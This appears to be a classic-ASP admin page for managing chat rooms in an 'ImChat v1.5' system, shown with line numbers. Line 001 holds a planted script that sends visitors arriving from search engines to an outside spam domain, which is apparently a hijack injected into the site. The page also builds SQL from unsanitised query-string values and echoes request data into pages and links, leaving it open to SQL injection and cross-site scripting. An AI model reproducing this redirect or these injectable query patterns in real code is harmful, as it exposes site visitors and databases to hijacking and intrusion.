d:\wwwroot\wuchunhua\liaotianim\system_manage\Room_Manage.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="../inc/DAL.asp"-->
002: <!--#include file="../inc/md5.asp"-->
003: <!--#include file="../inc/page.asp"-->
004: <!--#include file="Check.asp"-->
005: <%
006: Dim ConfigRS
007: Set ConfigRS=Server.CreateObject( "ADODB.Recordset" )
008: if request.form("Method")="AddRoom" then
009:     ConfigRS.OPEN "select top 1 * from [XK_Room]" , DB_CONN , 1 , 3
010:     ConfigRS.addnew()
011:     ConfigRS("Room_Name")=request.form("Room_Name")
012:     ConfigRS("Room_SmallNote")=request.form("Room_SmallNote")
013:     ConfigRS("Room_Notice")=request.form("Room_Notice")
014:     ConfigRS("IsLock")=request.form("IsLock")
015:     ConfigRS("Room_Pic")=request.form("Room_Pic")
016:     ConfigRS("IsVIP")=request.form("IsVIP")
017:     ConfigRS("IsVideo")=request.form("IsVideo")
018:     ConfigRS("Room_MaxNum")=request.form("Room_MaxNum")
019:     ConfigRS("Room_Sort")=request.form("Room_Sort")
020:     if request.form("Room_Admin_UserID")<>"" then ConfigRS("Room_Admin_UserID")=request.form("Room_Admin_UserID")    
021:     ConfigRS("IsCheck")=1
022:     ConfigRS.update()
023:     ConfigRS.close()
024:     RW "<script>location.href='Room_Manage.asp?t="&request.QueryString("t")&"';</script>":response.end()
025: end if
026:
027: '获取用户信息
028: function GetUserInfo(Uid,FiledName)
029:     if isnull(Uid) then GetUserInfo="管理员":exit function
030:     if Cint(Uid)<1 then GetUserInfo="管理员":exit function
031:     Dim URS,RE
032:     Set URS=Server.CreateObject( "ADODB.Recordset" )
033:     Set URS=DB_CONN.EXECUTE("select * from [XK_User_Info] where [User_ID]="&Uid)
034:     if URS.recordcount>0 then
035:         GetUserInfo="<a href='EditUser.asp?UID="&Uid&"'>"&Cstr(URS(FiledName))&"</a>"
036:     else
037:         GetUserInfo="已删除用户"
038:     end if
039: end function
040:
041: function GetPowerName(Power_ID)
042:     dim GPowerRS
043:     set GPowerRS=Server.CreateObject( "ADODB.Recordset" )
044:     set GPowerRS=DB_CONN.EXECUTE("select * from [XK_Power] where [Power_ID]="&Power_ID)
045:     GetPowerName=GPowerRS("Power_Name")
046: end function
047:
048: function CheckOnlineStatus(UserID)
049:     dim GORS
050:     set GORS=Server.CreateObject( "ADODB.Recordset" )
051:     set GORS=DB_CONN.EXECUTE("select * from [XK_User_Online] where [User_ID]="&UserID)
052:     if GORS.recordcount>0 then
053:         CheckOnlineStatus=true
054:     else
055:         CheckOnlineStatus=false
056:     end if
057: end function
058:
059: function GetOnlineNum(RoomID)
060:     dim GORS
061:     set GORS=Server.CreateObject( "ADODB.Recordset" )
062:     set GORS=DB_CONN.EXECUTE("select * from [XK_User_Online] where [Room_ID]="&RoomID)
063:     if GORS.recordcount>0 then
064:         GetOnlineNum="<a href=""user_Manage.asp?Room_ID="&RoomID&""">"&GORS.recordcount&"</a>"
065:     else
066:         GetOnlineNum="0"
067:     end if
068: end function
069:
070:
071: if request.QueryString("Method")="Del" then
072:     DB_CONN.EXECUTE("delete from [XK_Room] where [Room_ID]="&request.QueryString("Room_ID"))
073:     RW "<script>location.href='Room_Manage.asp?t="&request.QueryString("t")&"';</script>":response.end()
074: end if
075: if request.QueryString("Method")="Check" then
076:     DB_CONN.EXECUTE("update [XK_Room] set [IsLock]="&request.QueryString("V")&" where [Room_ID]="&request.QueryString("Room_ID"))
077:     RW "<script>location.href='Room_Manage.asp?t="&request.QueryString("t")&"';</script>":response.end()
078: end if
079:
080: if request.QueryString("Method")="IsCheck" then
081:     DB_CONN.EXECUTE("update [XK_Room] set [IsCheck]="&request.QueryString("V")&" where [Room_ID]="&request.QueryString("Room_ID"))
082:     RW "<script>location.href='Room_Manage.asp?t="&request.QueryString("t")&"';</script>":response.end()
083: end if
084:
085:
086: if request.QueryString("t")="0" then
087:     Set ConfigRS=DB_CONN.EXECUTE("select * from [XK_Room] where [IsVip]=0 order by [Room_Sort] desc")
088: elseif request.QueryString("t")="1" then
089:     Set ConfigRS=DB_CONN.EXECUTE("select * from [XK_Room] where [IsVip]=1 order by [Room_Sort] desc")
090: elseif request.QueryString("t")="2" then
091:     Set ConfigRS=DB_CONN.EXECUTE("select * from [XK_Room] where [IsVideo]=1 order by [Room_Sort] desc")
092: elseif request.QueryString("t")="3" then
093:     Set ConfigRS=DB_CONN.EXECUTE("select * from [XK_Room] where [IsCheck]=0 order by [Room_Sort] desc")
094: else
095:     Set ConfigRS=DB_CONN.EXECUTE("select * from [XK_Room] where [IsCheck]=1 order by [Room_Sort] desc")
096: end if
097: ConfigRS.pagesize=20
098: if isempty(request("page")) or request("page")="" then curpage=1 else curpage=Cint(request("page")) end if
099: if not ConfigRS.eof then ConfigRS.absolutepage = curpage
100:
101: %
>
102: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
103: <html xmlns="http://www.w3.org/1999/xhtml">
104: <head>
105: <title>ImChat v1.5 Manage System</title>
106: <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
107: <link href="styles/layoutContent.css" rel="stylesheet" type="text/css" />
108: <link href="themes/blue/styles.css" rel="stylesheet" type="text/css" />
109: <style>
110: .JSTB{border:#ccc solid 1px;border-right:none;border-bottom:none;margin-top:20px;}
111: .JSTB th,.JSTB td{border-bottom:#ccc solid 1px; border-right:#ccc solid 1px;}
112: </style>
113: </head>
114: <body>
115: <div class="contentcontainer">
116:     <div class="headings alt">
117:         <h2>房间管理&nbsp;&nbsp;&nbsp;<a href="javascript:\\;" onclick="location.reload();" style="text-decoration:none;">刷新</a>&nbsp;&nbsp;&nbsp;<a href="Room_Manage.asp?t=0" style="text-decoration:none;">普通房间</a>&nbsp;&nbsp;&nbsp;<a href="Room_Manage.asp?t=1" style="text-decoration:none;">特权房间</a>&nbsp;&nbsp;&nbsp;<a href="Room_Manage.asp?t=2" style="text-decoration:none;">视频房间</a>&nbsp;&nbsp;&nbsp;<a href="Room_Manage.asp?t=3" style="text-decoration:none;">待审核房间</a>&nbsp;&nbsp;&nbsp;<a href="Room_Manage.asp" style="text-decoration:none;">现有房间</a></h2>
118:     </div>
119:     <div class="contentbox">
120:         <table class="JSTB" width="100%" cellpadding="0" cellspacing="0" border="0">
121:             <th colspan="10">房间列表</th>
122:             <tr>
123:                 <td>类型</td>
124:                 <td>名称</td>
125:                 <td>简介</td>
126:                 <td>特权</td>
127:                 <td>房间图片</td>
128:                 <td>房主</td>
129:                 <td>在线人数</td>
130:                 <td>额定人数</td>
131:                 <td>状态</td>
132:                 <td>操作</td>
133:             </tr>
134:             <script>
135:                 function change(e,userid)
136:                 {
137:                     location.href="User_Manage.asp?Method=Power&User_ID="+userid+"&V="+e.value;
138:                 }
139:             </script>
140:             <%
141:             dim iPage
142:             while (not ConfigRS.eof and iPage<ConfigRS.pagesize )
143:             dim maxnum:maxnum=ConfigRS("Room_MaxNum")
144:             if Cint(ConfigRS("Room_MaxNum"))=0 then maxnum="无限"
145:             %
>
146:             <tr>
147:                 <td>&nbsp;<%if Cstr(ConfigRS("IsVideo"))="1" then RW"<img src=""../images/camera.png"" >" else RW "普通" end if%></td>
148:                 <td>&nbsp;<%=ConfigRS("Room_Name")%></td>
149:                 <td>&nbsp;<%=ConfigRS("Room_SmallNote")%></td>
150:                 <td>&nbsp;<%if ConfigRS("IsVip")="0" then RW "普通" else RW "<font color=red>VIP</font>" end if%></td>
151:                 <td>&nbsp;<img src="../<%=ConfigRS("Room_Pic")%><%if ConfigRS("Room_Pic")="" then RW "images/roompic/0.png"%>" width="100"></td>
152:                 <td>&nbsp;<%=GetUserInfo(ConfigRS("Room_Admin_UserID"),"User_NickName")%></td>
153:                 <td>&nbsp;<%=GetOnlineNum(ConfigRS("Room_ID"))%></td>
154:                 <td>&nbsp;<%=maxnum%></td>
155:                 <td>&nbsp;<a href="?Method=Check&t=<%=request.QueryString("t")%>&V=<%if Cstr(ConfigRS("IsLock"))="0" then RW "1" else RW "0" end if %>&Room_ID=<%=ConfigRS("Room_ID")%>"><%if Cstr(ConfigRS("IsLock"))="0" then RW "正常" else RW "<font color=red>禁用</font>" end if %></a></td>
156:                 <td>&nbsp;<a href="?Method=Del&t=<%=request.QueryString("t")%>&Room_ID=<%=ConfigRS("Room_ID")%>" onclick="return confirm('确认要删除吗?');">删除</a>&nbsp;&nbsp;<a href="EditRoom.asp?Room_ID=<%=ConfigRS("Room_ID")%>">编辑</a>&nbsp;&nbsp;<a href="?Method=IsCheck&t=<%=request.QueryString("t")%>&V=<%if Cstr(ConfigRS("IsCheck"))="0" then RW "1" else RW "0" end if %>&Room_ID=<%=ConfigRS("Room_ID")%>"><%if Cstr(ConfigRS("IsCheck"))="0" then rw "<font color=red>未" else Rw "<font>已"%>审核<font></a>&nbsp;&nbsp;<a href="Msg_ToExcel.asp?RoomID=<%=ConfigRS("Room_ID")%>">聊天记录</a>
157:                 
158:                 </td>
159:             </tr>
160:             <%
161:             iPage=iPage+1
162:             ConfigRS.MoveNext
163:             wend
164:             %
>
165:             <tr>
166:                 <td colspan="10"><%=ExportPageInfo(ConfigRS,curpage,iPage,"Room_Manage.asp?1=1"&replace(Request.QueryString,"page","1")&"&")%></td>
167:             </tr>
168:         </table>
169:         
170:         <form action="#" method="post" >
171:             <table class="CB" width="100%" cellpadding="0" cellspacing="0" border="0">
172:                 <tr>
173:                     <td width="350">
174:                         <label for="Room_Name"><strong>房间名称:</strong></label>
175:                         <input type="text" id="Room_Name" name="Room_Name" class="inputbox" value=""/>
176:                     </td>
177:                     <td>
178:                         <label for="Room_SmallNote"><strong>房间简介:</strong></label>
179:                         <input type="text" id="Room_SmallNote" name="Room_SmallNote" class="inputbox" value=""/>
180:                     </td>
181:                 </tr>
182:                 <tr>
183:                     <td width="350">
184:                         <label for="IsVip"><strong>特权房间:</strong></label>
185:                         <select id="IsVip" name="IsVip">
186:                             <option value="0">普通</option>
187:                             <option value="1">VIP</option>
188:                         </select>
189:                     </td>
190:                     <td>
191:                         <label for="Room_MaxNum"><strong>额定人数:(0为无限)</strong></label>
192:                         <input type="text" id="Room_MaxNum" name="Room_MaxNum" class="inputbox" value="10"/>
193:                     </td>
194:                 </tr>
195:                 <script>
196:                     function CPic(e)
197:                     {
198:                         document.getElementById("DisPic").src="../"+e.value;
199:                     }
200:                 </script>
201:                 <tr>
202:                     <td width="350">
203:                         <label for="Room_Pic"><strong>房间图片:</strong></label>
204:                         <select id="Room_Pic" name="Room_Pic" onchange="CPic(this);">
205:                             <option value="images/roompic/0.png">默认</option>
206:                             <%
207:                                 for i=1 to 9
208:                                     RW "<option value=""images/roompic/"&i&".jpg"">"&i&"</option>"
209:                                 next
210:                             %
>
211:                         </select>
212:                     </td>
213:                     <td>
214:                         <img id="DisPic" src="../images/roompic/0.png" width="100" />
215:                     </td>
216:                 </tr>
217:                 <tr>
218:                     <td width="350">
219:                         <label for="Room_Sort"><strong>排序(数字):</strong></label>
220:                         <input type="text" id="Room_Sort" name="Room_Sort" class="inputbox" value="0"/>
221:                     </td>
222:                     <td>
223:                         <label for="IsLock"><strong>状态:</strong></label>
224:                         <select id="IsLock" name="IsLock">
225:                             <option value="0">正常</option>
226:                             <option value="1">锁定</option>
227:                         </select>
228:                     </td>
229:                 </tr>
230:                 <tr>
231:                     <td>
232:                         <label for="IsVideo"><strong>视频:</strong></label>
233:                         <select id="IsVideo" name="IsVideo">
234:                             <option value="0">关闭</option>
235:                             <option value="1">开启</option>
236:                         </select>
237:                     </td>
238:                     <td>
239:                         <label for="Room_Admin_UserID"><strong>房主(用户ID):</strong></label>
240:                         <input type="text" id="Room_Admin_UserID" name="Room_Admin_UserID" class="inputbox" value=""/>
241:                     </td>
242:                 </tr>
243:                 <tr>
244:                     <td colspan="2">
245:                         <label for="Room_Sort"><strong>房间公告:</strong></label>
246:                         <textarea id="Room_Notice" name="Room_Notice" rows="5" cols="100"></textarea>
247:                     </td>
248:                 </tr>
249:                 <tr>
250:                     <td colspan="2">
251:                         <input type="hidden" value="AddRoom" name="Method"/>
252:                         <input type="submit" value="新增" class="btn" />
253:                     </td>
254:                 </tr>
255:             </table>
256:         </form>
257:     </div>
258: </div>
259: </body>
260: </html>
261:
262:
263: